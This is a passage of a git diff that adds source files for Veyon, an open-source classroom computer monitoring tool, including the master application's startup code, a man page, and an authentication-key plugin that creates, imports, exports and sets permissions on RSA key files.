) const; + + const Feature::Uid& currentMode() const + { + return m_currentMode; + } + + QWidget* mainWindow() override; + + ComputerControlInterfaceList filteredComputerControlInterfaces(); + +public slots: + void runFeature( const Feature& feature ); + void enforceDesignatedMode( const QModelIndex& index ); + void stopAllModeFeatures( const ComputerControlInterfaceList& computerControlInterfaces ); + +private: + FeatureList featureList() const; + + BuiltinFeatures* m_builtinFeatures; + FeatureManager* m_featureManager; + const FeatureList m_features; + UserConfig* m_userConfig; + ComputerManager* m_computerManager; + ComputerControlListModel* m_computerControlListModel; + ComputerSortFilterProxyModel* m_computerSortFilterProxyModel; + + MainWindow* m_mainWindow; + + Feature::Uid m_currentMode; + +} ; + +#endif diff --git a/master/src/main.cpp b/master/src/main.cpp new file mode 100644 index 0000000..213e4b2 --- /dev/null +++ b/master/src/main.cpp @@ -0,0 +1,60 @@ +/* + * main.cpp - startup routine for Veyon Master Application + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "VeyonMaster.h" +#include "MainWindow.h" + + +int main( int argc, char * * argv ) +{ + VeyonCore::setupApplicationParameters(); + + QApplication app( argc, argv ); + app.connect( &app, &QApplication::lastWindowClosed, &QApplication::quit ); + + VeyonCore core( &app, QStringLiteral("Master") ); + + QSplashScreen splashScreen( QPixmap( QStringLiteral(":/resources/splash.png") ) ); + splashScreen.show(); + + if( MainWindow::initAuthentication() == false || + MainWindow::initAccessControl() == false ) + { + return -1; + } + + VeyonMaster masterCore; + + // hide splash-screen as soon as main-window is shown + splashScreen.finish( masterCore.mainWindow() ); + + masterCore.mainWindow()->show(); + + qInfo( "Master: running" ); + + return app.exec(); +} diff --git a/master/veyon-master.1 b/master/veyon-master.1 new file mode 100644 index 0000000..ebd2a06 --- /dev/null +++ b/master/veyon-master.1 @@ -0,0 +1,31 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH VEYON MASTER 1 2018-12-07 Veyon +.SH NAME +veyon-master \- Veyon Master Application +.SH SYNOPSIS +.B veyon-master +.SH DESCRIPTION +\fBVEYON MASTER\fR is an application program that can be used for +monitoring and controlling other computers as well as for accessing Veyon +features. +.PP +Usually the program is started by the end user. It accesses other +computers through the Veyon Service. +.PP +Using the program you can remote control, lock, shutdown/reboot computers +as well as show a demo, send text messages to users and much more. + +.SH SEE ALSO +veyon-service(1), veyon-configurator(8), veyon-auth-helper(1) +.PP +https://veyon.io + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Tobias Junghans and Mike Gabriel. It +was originally written for the Debian project (but may be used by +others). diff --git a/master/veyon-master.rc.in b/master/veyon-master.rc.in new file mode 100644 index 0000000..473bb64 --- /dev/null +++ b/master/veyon-master.rc.in @@ -0,0 +1,26 @@ +veyonmastericon ICON data/veyon-master.ico +#include + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Master Application\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2004-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-master.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + END + END +END diff --git a/plugins/CMakeLists.txt b/plugins/CMakeLists.txt new file mode 100644 index 0000000..d171cc0 --- /dev/null +++ b/plugins/CMakeLists.txt @@ -0,0 +1,7 @@ +FILE(GLOB plugins RELATIVE ${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/*) + +FOREACH(plugin ${plugins}) + IF(IS_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/${plugin}) + ADD_SUBDIRECTORY(${plugin}) + ENDIF() +ENDFOREACH() diff --git a/plugins/authkeys/AuthKeysConfigurationPage.cpp b/plugins/authkeys/AuthKeysConfigurationPage.cpp new file mode 100644 index 0000000..bcd5550 --- /dev/null +++ b/plugins/authkeys/AuthKeysConfigurationPage.cpp @@ -0,0 +1,286 @@ +/* + * AuthKeysConfigurationPage.cpp - implementation of the authentication configuration page + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "AuthKeysConfigurationPage.h" +#include "AuthKeysManager.h" +#include "FileSystemBrowser.h" +#include "PlatformUserFunctions.h" +#include "VeyonConfiguration.h" +#include "Configuration/UiMapping.h" + +#include "ui_AuthKeysConfigurationPage.h" + + +AuthKeysConfigurationPage::AuthKeysConfigurationPage() : + ConfigurationPage(), + ui(new Ui::AuthKeysConfigurationPage), + m_authKeyTableModel( this ), + m_keyFilesFilter( tr( "Key files (*.pem)" ) ) +{ + ui->setupUi(this); + +#define CONNECT_BUTTON_SLOT(name) \ + connect( ui->name, &QAbstractButton::clicked, this, &AuthKeysConfigurationPage::name ); + + CONNECT_BUTTON_SLOT( openPublicKeyBaseDir ); + CONNECT_BUTTON_SLOT( openPrivateKeyBaseDir ); + CONNECT_BUTTON_SLOT( createKeyPair ); + CONNECT_BUTTON_SLOT( deleteKey ); + CONNECT_BUTTON_SLOT( importKey ); + CONNECT_BUTTON_SLOT( exportKey ); + CONNECT_BUTTON_SLOT( setAccessGroup ); + + reloadKeyTable(); + + ui->keyTable->setModel( &m_authKeyTableModel ); +} + + +AuthKeysConfigurationPage::~AuthKeysConfigurationPage() +{ + delete ui; +} + + + +void AuthKeysConfigurationPage::resetWidgets() +{ + FOREACH_VEYON_KEY_AUTHENTICATION_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + + reloadKeyTable(); +} + + + +void AuthKeysConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_VEYON_KEY_AUTHENTICATION_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +void AuthKeysConfigurationPage::applyConfiguration() +{ +} + + + +void AuthKeysConfigurationPage::openPublicKeyBaseDir() +{ + FileSystemBrowser( FileSystemBrowser::ExistingDirectory ). + exec( ui->publicKeyBaseDir ); +} + + + +void AuthKeysConfigurationPage::openPrivateKeyBaseDir() +{ + FileSystemBrowser( FileSystemBrowser::ExistingDirectory ). + exec( ui->privateKeyBaseDir ); +} + + + +void AuthKeysConfigurationPage::createKeyPair() +{ + const auto keyName = QInputDialog::getText( this, tr( "Authentication key name" ), + tr( "Please enter the name of the user group or role for which to create an authentication key pair:") ); + if( keyName.isEmpty() == false ) + { + AuthKeysManager authKeysManager; + const auto success = authKeysManager.createKeyPair( keyName ); + + showResultMessage( success, tr( "Create key pair" ), authKeysManager.resultMessage() ); + + reloadKeyTable(); + } +} + + + +void AuthKeysConfigurationPage::deleteKey() +{ + const auto title = ui->deleteKey->text(); + + const auto nameAndType = selectedKey().split('/'); + + if( nameAndType.size() > 1 ) + { + const auto name = nameAndType[0]; + const auto type = nameAndType[1]; + + if( QMessageBox::question( this, title, tr( "Do you really want to delete authentication key \"%1/%2\"?" ).arg( name, type ) ) == + QMessageBox::Yes ) + { + AuthKeysManager authKeysManager; + const auto success = authKeysManager.deleteKey( name, type ); + + showResultMessage( success, title, authKeysManager.resultMessage() ); + + reloadKeyTable(); + } + } + else + { + showResultMessage( false, title, tr( "Please select a key to delete!" ) ); + } +} + + + +void AuthKeysConfigurationPage::importKey() +{ + const auto title = ui->importKey->text(); + + const auto inputFile = QFileDialog::getOpenFileName( this, title, QString(), m_keyFilesFilter ); + if( inputFile.isEmpty() ) + { + return; + } + + const auto keyName = QInputDialog::getText( this, tr( "Authentication key name" ), + tr( "Please enter the name of the user group or role for which to import the authentication key:"), + QLineEdit::Normal, + AuthKeysManager::keyNameFromExportedKeyFile( inputFile ) ); + if( keyName.isEmpty() ) + { + return; + } + + AuthKeysManager authKeysManager; + const auto keyType = authKeysManager.detectKeyType( inputFile ); + const auto success = authKeysManager.importKey( keyName, keyType, inputFile ); + + showResultMessage( success, title, authKeysManager.resultMessage() ); + + reloadKeyTable(); +} + + + +void AuthKeysConfigurationPage::exportKey() +{ + const auto title = ui->exportKey->text(); + + const auto nameAndType = selectedKey().split('/'); + + if( nameAndType.size() > 1 ) + { + const auto name = nameAndType[0]; + const auto type = nameAndType[1]; + + const auto outputFile = QFileDialog::getSaveFileName( this, title, QDir::homePath() + QDir::separator() + + AuthKeysManager::exportedKeyFileName( name, type ), + m_keyFilesFilter ); + if( outputFile.isEmpty() == false ) + { + AuthKeysManager authKeysManager; + const auto success = authKeysManager.exportKey( name, type, outputFile ); + + showResultMessage( success, title, authKeysManager.resultMessage() ); + } + } + else + { + showResultMessage( false, title, tr( "Please select a key to export!" ) ); + } +} + + + +void AuthKeysConfigurationPage::setAccessGroup() +{ + const auto title = ui->setAccessGroup->text(); + + const auto key = selectedKey(); + + if( key.isEmpty() == false ) + { + const auto userGroups = VeyonCore::platform().userFunctions().userGroups( VeyonCore::config().domainGroupsForAccessControlEnabled() ); + const auto currentGroup = AuthKeysManager().accessGroup( key ); + + bool ok = false; + const auto selectedGroup = QInputDialog::getItem( this, title, + tr( "Please select a user group which to grant access to key \"%1\":" ).arg( key ), + userGroups, userGroups.indexOf( currentGroup ), true, &ok ); + + if( ok && selectedGroup.isEmpty() == false ) + { + AuthKeysManager manager; + const auto success = manager.setAccessGroup( key, selectedGroup ); + + showResultMessage( success, title, manager.resultMessage() ); + + reloadKeyTable(); + } + } + else + { + showResultMessage( false, title, tr( "Please select a key which to set the access group for!" ) ); + } +} + + + +void AuthKeysConfigurationPage::reloadKeyTable() +{ + m_authKeyTableModel.reload(); + ui->keyTable->resizeColumnsToContents(); +} + + + +QString AuthKeysConfigurationPage::selectedKey() const +{ + const auto row = ui->keyTable->currentIndex().row(); + if( row >= 0 && row < m_authKeyTableModel.rowCount() ) + { + return m_authKeyTableModel.key( row ); + } + + return QString(); +} + + + +void AuthKeysConfigurationPage::showResultMessage( bool success, const QString& title, const QString& message ) +{ + if( message.isEmpty() ) + { + return; + } + + if( success ) + { + QMessageBox::information( this, title, message ); + } + else + { + QMessageBox::critical( this, title, message ); + } +} diff --git a/plugins/authkeys/AuthKeysConfigurationPage.h b/plugins/authkeys/AuthKeysConfigurationPage.h new file mode 100644 index 0000000..ab429ec --- /dev/null +++ b/plugins/authkeys/AuthKeysConfigurationPage.h @@ -0,0 +1,66 @@ +/* + * AuthKeysConfigurationPage.h - header for the AuthKeysConfigurationPage class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef AUTH_KEYS_CONFIGURATION_PAGE_H +#define AUTH_KEYS_CONFIGURATION_PAGE_H + +#include "AuthKeysTableModel.h" +#include "ConfigurationPage.h" + +namespace Ui { +class AuthKeysConfigurationPage; +} + +class AuthKeysConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + AuthKeysConfigurationPage(); + ~AuthKeysConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void openPublicKeyBaseDir(); + void openPrivateKeyBaseDir(); + void createKeyPair(); + void deleteKey(); + void importKey(); + void exportKey(); + void setAccessGroup(); + void reloadKeyTable(); + +private: + QString selectedKey() const; + void showResultMessage( bool success, const QString& title, const QString& message ); + + Ui::AuthKeysConfigurationPage *ui; + AuthKeysTableModel m_authKeyTableModel; + const QString m_keyFilesFilter; + +}; + +#endif // AUTH_KEYS_CONFIGURATION_PAGE_H diff --git a/plugins/authkeys/AuthKeysConfigurationPage.ui b/plugins/authkeys/AuthKeysConfigurationPage.ui new file mode 100644 index 0000000..25af3e4 --- /dev/null +++ b/plugins/authkeys/AuthKeysConfigurationPage.ui @@ -0,0 +1,250 @@ + + + AuthKeysConfigurationPage + + + Authentication keys + + + + :/resources/application-x-pem-key.png:/resources/application-x-pem-key.png + + + + 0 + + + 0 + + + + + Introduction + + + + 10 + + + + + Please perform the following steps to set up key file authentication: + + + true + + + + + + + 1) Create a key pair on the master computer. + + + true + + + + + + + 2) Set an access group whose members should be allowed to access other computers. + + + true + + + + + + + 3) Export the public key and import it on all client computers with the same name. + + + true + + + + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + true + + + + + + + Qt::Horizontal + + + + 0 + 0 + + + + + + + + + + + Key file directories + + + + 2 + + + + + 10 + + + 7 + + + + + Public key file base directory + + + + + + + + + + Private key file base directory + + + + + + + + + + ... + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + ... + + + + :/resources/document-open.png:/resources/document-open.png + + + + + + + + + + + + Available authentication keys + + + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + QAbstractItemView::NoEditTriggers + + + QAbstractItemView::SingleSelection + + + QAbstractItemView::SelectRows + + + true + + + false + + + + + + + + + Create key pair + + + + + + + Delete key + + + + + + + Import key + + + + + + + Export key + + + + + + + Set access group + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + + + + diff --git a/plugins/authkeys/AuthKeysManager.cpp b/plugins/authkeys/AuthKeysManager.cpp new file mode 100644 index 0000000..9285802 --- /dev/null +++ b/plugins/authkeys/AuthKeysManager.cpp @@ -0,0 +1,560 @@ +/* + * AuthKeysManager.cpp - implementation of AuthKeysManager class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AuthKeysManager.h" +#include "CommandLineIO.h" +#include "CryptoCore.h" +#include "Filesystem.h" +#include "PlatformFilesystemFunctions.h" +#include "VeyonConfiguration.h" + + +AuthKeysManager::AuthKeysManager( QObject* parent ) : + QObject( parent ), + m_keyTypePrivate( QStringLiteral("private") ), + m_keyTypePublic( QStringLiteral("public") ), + m_checkPermissions( tr( "Please check your permissions." ) ), + m_invalidKeyName( tr( "Key name contains invalid characters!" ) ), + m_invalidKeyType( tr( "Invalid key type specified! Please specify \"%1\" or \"%2\"." ).arg( m_keyTypePrivate, m_keyTypePublic ) ), + m_keyDoesNotExist( tr( "Specified key does not exist! Please use the \"list\" command to list all installed keys." ) ), + m_keysAlreadyExists( tr( "One or more key files already exist! Please delete them using the \"delete\" command." ) ), + m_resultMessage() +{ +} + + + +AuthKeysManager::~AuthKeysManager() +{ +} + + + +bool AuthKeysManager::createKeyPair( const QString& name ) +{ + if( VeyonCore::isAuthenticationKeyNameValid( name ) == false) + { + m_resultMessage = m_invalidKeyName; + return false; + } + + const auto privateKeyFileName = VeyonCore::filesystem().privateKeyPath( name ); + const auto publicKeyFileName = VeyonCore::filesystem().publicKeyPath( name ); + + if( QFileInfo::exists( privateKeyFileName ) || QFileInfo::exists( publicKeyFileName ) ) + { + m_resultMessage = m_keysAlreadyExists; + return false; + } + + CommandLineIO::print( tr( "Creating new key pair for \"%1\"" ).arg( name ) ); + + const auto privateKey = CryptoCore::KeyGenerator().createRSA( CryptoCore::RsaKeySize ); + const auto publicKey = privateKey.toPublicKey(); + + if( privateKey.isNull() || publicKey.isNull() ) + { + m_resultMessage = tr( "Failed to create public or private key!" ); + return false; + } + + if( writePrivateKeyFile( privateKey, privateKeyFileName ) == false || + writePublicKeyFile( publicKey, publicKeyFileName ) == false ) + { + // m_resultMessage already set by write functions + return false; + } + + m_resultMessage = tr( "Newly created key pair has been saved to \"%1\" and \"%2\"." ).arg( privateKeyFileName, publicKeyFileName ); + + return true; +} + + + +bool AuthKeysManager::deleteKey( const QString& name, const QString& type ) +{ + if( checkKey( name, type ) == false ) + { + return false; + } + + const auto keyFileName = keyFilePathFromType( name, type ); + + QFile keyFile( keyFileName ); + keyFile.setPermissions( QFile::WriteOwner | QFile::WriteGroup | QFile::WriteOther ); + + if( keyFile.remove() == false ) + { + m_resultMessage = tr( "Could not remove key file \"%1\"!" ).arg( keyFileName ) + " " + m_checkPermissions; + return false; + } + + auto keyFileDirectory = QFileInfo( keyFileName ).absoluteDir(); + auto keyFileBaseDirectory = keyFileDirectory; + keyFileBaseDirectory.cdUp(); + + if( keyFileBaseDirectory.rmdir( keyFileDirectory.dirName() ) == false ) + { + m_resultMessage = tr( "Could not remove key file directory \"%1\"!" ).arg( keyFileDirectory.path() ) + " " + m_checkPermissions; + return false; + } + + return true; +} + + + +bool AuthKeysManager::exportKey( const QString& name, const QString& type, const QString& outputFile ) +{ + if( checkKey( name, type ) == false ) + { + return false; + } + + const auto keyFileName = keyFilePathFromType( name, type ); + + if( VeyonCore::filesystem().ensurePathExists( QFileInfo( outputFile ).path() ) == false ) + { + m_resultMessage = tr( "Failed to create directory for output file." ); + return false; + } + + if( QFileInfo::exists( outputFile ) ) + { + m_resultMessage = tr( "File \"%1\" already exists." ).arg( outputFile ); + return false; + } + + if( QFile::copy( keyFileName, outputFile ) == false ) + { + m_resultMessage = tr( "Failed to write output file." ) + " " + m_checkPermissions; + return false; + } + + m_resultMessage = tr( "Key \"%1/%2\" has been exported to \"%3\" successfully." ).arg( name, type, outputFile ); + + return true; +} + + + +bool AuthKeysManager::importKey( const QString& name, const QString& type, const QString& inputFile ) +{ + if( VeyonCore::isAuthenticationKeyNameValid( name ) == false) + { + m_resultMessage = m_invalidKeyName; + return false; + } + + if( QFileInfo( inputFile ).isReadable() == false ) + { + m_resultMessage = tr( "Failed read input file." ) + " " + m_checkPermissions; + return false; + } + + QString keyFileName; + + if( type == m_keyTypePrivate ) + { + const auto privateKey = CryptoCore::PrivateKey( inputFile ); + if( privateKey.isNull() || privateKey.isPrivate() == false ) + { + m_resultMessage = tr( "File \"%1\" does not contain a valid private key!" ).arg( inputFile ); + return false; + } + + keyFileName = VeyonCore::filesystem().privateKeyPath( name ); + } + else if( type == m_keyTypePublic ) + { + const auto publicKey = CryptoCore::PublicKey( inputFile ); + if( publicKey.isNull() || publicKey.isPublic() == false ) + { + m_resultMessage = tr( "File \"%1\" does not contain a valid public key!" ).arg( inputFile ); + return false; + } + + keyFileName = VeyonCore::filesystem().publicKeyPath( name ); + } + else + { + m_resultMessage = m_invalidKeyType; + return false; + } + + if( QFileInfo::exists( keyFileName ) ) + { + m_resultMessage = m_keysAlreadyExists; + return false; + } + + if( VeyonCore::filesystem().ensurePathExists( QFileInfo( keyFileName ).path() ) == false ) + { + m_resultMessage = tr( "Failed to create directory for key file." ) + " " + m_checkPermissions; + return false; + } + + if( QFile::copy( inputFile, keyFileName ) == false ) + { + m_resultMessage = tr( "Failed to write key file \"%1\"." ).arg( keyFileName ) + " " + m_checkPermissions; + return false; + } + + if( setKeyFilePermissions( name, type ) == false ) + { + m_resultMessage = tr( "Failed to set permissions for key file \"%1\"!" ).arg( keyFileName ) + " " + m_checkPermissions; + return false; + } + + m_resultMessage = tr( "Key \"%1/%2\" has been imported successfully. Please check file permissions of \"%3\" " + "in order to prevent unauthorized accesses." ).arg( name, type, keyFileName ); + + return true; +} + + + +QStringList AuthKeysManager::listKeys() +{ + const auto privateKeyBaseDir = VeyonCore::filesystem().expandPath( VeyonCore::config().privateKeyBaseDir() ); + const auto privateKeyDirs = QDir( privateKeyBaseDir ).entryList( QDir::Dirs | QDir::NoDotAndDotDot, QDir::Name ); + + const auto publicKeyBaseDir = VeyonCore::filesystem().expandPath( VeyonCore::config().publicKeyBaseDir() ); + const auto publicKeyDirs = QDir( publicKeyBaseDir ).entryList( QDir::Dirs | QDir::NoDotAndDotDot, QDir::Name ); + + QStringList keys; + keys.reserve( privateKeyDirs.size() + publicKeyDirs.size() ); + + for( const auto& privateKeyDir : privateKeyDirs ) + { + if( QFileInfo( keyFilePathFromType( privateKeyDir, m_keyTypePrivate) ).isFile() ) + { + keys.append( QStringLiteral("%1/%2").arg( privateKeyDir, m_keyTypePrivate ) ); + } + } + + for( const auto& publicKeyDir : publicKeyDirs ) + { + if( QFileInfo( keyFilePathFromType( publicKeyDir, m_keyTypePublic ) ).isFile() ) + { + keys.append( QStringLiteral("%1/%2").arg( publicKeyDir, m_keyTypePublic ) ); + } + } + + std::sort( keys.begin(), keys.end() ); + + return keys; +} + + + +bool AuthKeysManager::extractPublicFromPrivateKey( const QString& name ) +{ + if( VeyonCore::isAuthenticationKeyNameValid( name ) == false) + { + m_resultMessage = m_invalidKeyName; + return false; + } + + const auto privateKeyFileName = VeyonCore::filesystem().privateKeyPath( name ); + const auto publicKeyFileName = VeyonCore::filesystem().publicKeyPath( name ); + + if( QFileInfo::exists( privateKeyFileName ) == false ) + { + m_resultMessage = m_keyDoesNotExist; + return false; + } + + if( QFileInfo::exists( publicKeyFileName ) ) + { + m_resultMessage = m_keysAlreadyExists; + return false; + } + + const auto publicKey = CryptoCore::PrivateKey( privateKeyFileName ).toPublicKey(); + if( publicKey.isNull() || publicKey.isPublic() == false ) + { + m_resultMessage = tr( "Failed to convert private key to public key" ); + return false; + } + + return writePublicKeyFile( publicKey, publicKeyFileName ); +} + + + +bool AuthKeysManager::writePrivateKeyFile( const CryptoCore::PrivateKey& privateKey, const QString& privateKeyFileName ) +{ + if( VeyonCore::filesystem().ensurePathExists( QFileInfo( privateKeyFileName ).path() ) == false ) + { + m_resultMessage = tr( "Failed to create directory for private key file \"%1\"." ).arg( privateKeyFileName) + " " + m_checkPermissions; + return false; + } + + if( privateKey.toPEMFile( privateKeyFileName ) == false ) + { + m_resultMessage = tr( "Failed to save private key in file \"%1\"!" ).arg( privateKeyFileName ) + " " + m_checkPermissions; + return false; + } + + if( setPrivateKeyFilePermissions( privateKeyFileName ) == false ) + { + m_resultMessage = tr( "Failed to set permissions for private key file \"%1\"!" ).arg( privateKeyFileName ) + " " + m_checkPermissions; + return false; + } + + return true; +} + + + +bool AuthKeysManager::writePublicKeyFile( const CryptoCore::PublicKey& publicKey, const QString& publicKeyFileName ) +{ + if( VeyonCore::filesystem().ensurePathExists( QFileInfo( publicKeyFileName ).path() ) == false ) + { + m_resultMessage = tr( "Failed to create directory for public key file \"%1\"." ).arg( publicKeyFileName ) + " " + m_checkPermissions; + return false; + } + + if( publicKey.toPEMFile( publicKeyFileName ) == false ) + { + m_resultMessage = tr( "Failed to save public key in file \"%1\"!" ).arg( publicKeyFileName ) + " " + m_checkPermissions; + return false; + } + + if( setPublicKeyFilePermissions( publicKeyFileName ) == false ) + { + m_resultMessage = tr( "Failed to set permissions for public key file \"%1\"!" ).arg( publicKeyFileName ) + " " + m_checkPermissions; + return false; + } + + return true; +} + + + +QString AuthKeysManager::detectKeyType( const QString& keyFile ) +{ + const auto privateKey = CryptoCore::PrivateKey( keyFile ); + if( privateKey.isNull() == false && privateKey.isPrivate() ) + { + return m_keyTypePrivate; + } + + const auto publicKey = CryptoCore::PublicKey( keyFile ); + if( publicKey.isNull() == false && publicKey.isPublic() ) + { + return m_keyTypePublic; + } + + return QString(); +} + + + +bool AuthKeysManager::setAccessGroup( const QString& key, const QString& group ) +{ + const auto nameAndType = key.split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + if( checkKey( name, type ) == false ) + { + return false; + } + + const auto keyFileName = keyFilePathFromType( name, type ); + + if( VeyonCore::platform().filesystemFunctions().setFileOwnerGroup( keyFileName, group ) == false ) + { + m_resultMessage = tr( "Failed to set owner of key file \"%1\" to \"%2\"." ). + arg( keyFileName, group ) + ' ' + m_checkPermissions; + return false; + } + + if( VeyonCore::platform().filesystemFunctions(). + setFileOwnerGroupPermissions( keyFileName, QFile::ReadOwner | QFile::ReadGroup ) == false ) + { + m_resultMessage = tr( "Failed to set permissions for key file \"%1\"." ).arg( keyFileName ) + ' ' + m_checkPermissions; + return false; + } + + m_resultMessage = tr( "Key \"%1\" is now accessible by user group \"%2\"." ).arg( key, group ); + + return true; +} + + + +QString AuthKeysManager::accessGroup( const QString& key ) +{ + const auto nameAndType = key.split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + if( checkKey( name, type, false ) == false ) + { + return QString(); + } + + return VeyonCore::platform().filesystemFunctions().fileOwnerGroup( keyFilePathFromType( name, type ) ); +} + + + +QString AuthKeysManager::keyPairId( const QString& key ) +{ + const auto nameAndType = key.split( '/' ); + const auto name = nameAndType.value( 0 ); + const auto type = nameAndType.value( 1 ); + + if( checkKey( name, type ) == false ) + { + return tr(""); + } + + const auto keyFileName = keyFilePathFromType( name, type ); + + const auto privateKey = CryptoCore::PrivateKey( keyFileName ); + if( privateKey.isNull() == false && privateKey.isPrivate() ) + { + return QStringLiteral("%1").arg( qHash( privateKey.toPublicKey().toDER() ), 8, 16, QLatin1Char('0') ); + } + + const auto publicKey = CryptoCore::PublicKey( keyFileName ); + if( publicKey.isNull() == false && publicKey.isPublic() ) + { + return QStringLiteral("%1").arg( qHash( publicKey.toDER() ), 8, 16, QLatin1Char('0') ); + } + + return QStringLiteral("???"); +} + + + +QString AuthKeysManager::exportedKeyFileName( const QString& name, const QString& type ) +{ + return QStringLiteral("%1_%2_key.pem").arg( name, type ); +} + + + +QString AuthKeysManager::keyNameFromExportedKeyFile( const QString& keyFile ) +{ + QRegExp rx( QStringLiteral("^(.*)_(.*)_key.pem$") ); + + if( rx.indexIn( QFileInfo( keyFile ).fileName() ) == 0 ) + { + return rx.cap( 1 ); + } + + return QString(); +} + + + +bool AuthKeysManager::checkKey( const QString& name, const QString& type, bool checkIsReadable ) +{ + if( VeyonCore::isAuthenticationKeyNameValid( name ) == false ) + { + m_resultMessage = m_invalidKeyName; + return false; + } + + const auto keyFileName = keyFilePathFromType( name, type ); + + if( keyFileName.isEmpty() ) + { + m_resultMessage = m_invalidKeyType; + return false; + } + + QFileInfo keyFileInfo( keyFileName ); + + if( keyFileInfo.exists() == false ) + { + m_resultMessage = m_keyDoesNotExist; + return false; + } + + if( checkIsReadable && keyFileInfo.isReadable() == false ) + { + m_resultMessage = tr( "Failed to read key file." ) + " " + m_checkPermissions; + return false; + } + + return true; +} + + + +QString AuthKeysManager::keyFilePathFromType( const QString& name, const QString& type ) const +{ + if( type == m_keyTypePrivate ) + { + return VeyonCore::filesystem().privateKeyPath( name ); + } + else if( type == m_keyTypePublic ) + { + return VeyonCore::filesystem().publicKeyPath( name ); + } + + return QString(); +} + + + +bool AuthKeysManager::setKeyFilePermissions( const QString& name, const QString& type ) const +{ + const auto keyFilePath = keyFilePathFromType( name, type ); + + if( type == m_keyTypePrivate ) + { + return setPrivateKeyFilePermissions( keyFilePath ); + } + else if( type == m_keyTypePublic ) + { + return setPublicKeyFilePermissions( keyFilePath ); + } + + return false; +} + + + +bool AuthKeysManager::setPrivateKeyFilePermissions( const QString& fileName ) const +{ + return QFile::setPermissions( fileName, QFile::ReadOwner | QFile::ReadUser | QFile::ReadGroup ); +} + + + +bool AuthKeysManager::setPublicKeyFilePermissions( const QString& fileName ) const +{ + return QFile::setPermissions( fileName, QFile::ReadOwner | QFile::ReadUser | QFile::ReadGroup | QFile::ReadOther ); +} diff --git a/plugins/authkeys/AuthKeysManager.h b/plugins/authkeys/AuthKeysManager.h new file mode 100644 index 0000000..fc5f428 --- /dev/null +++ 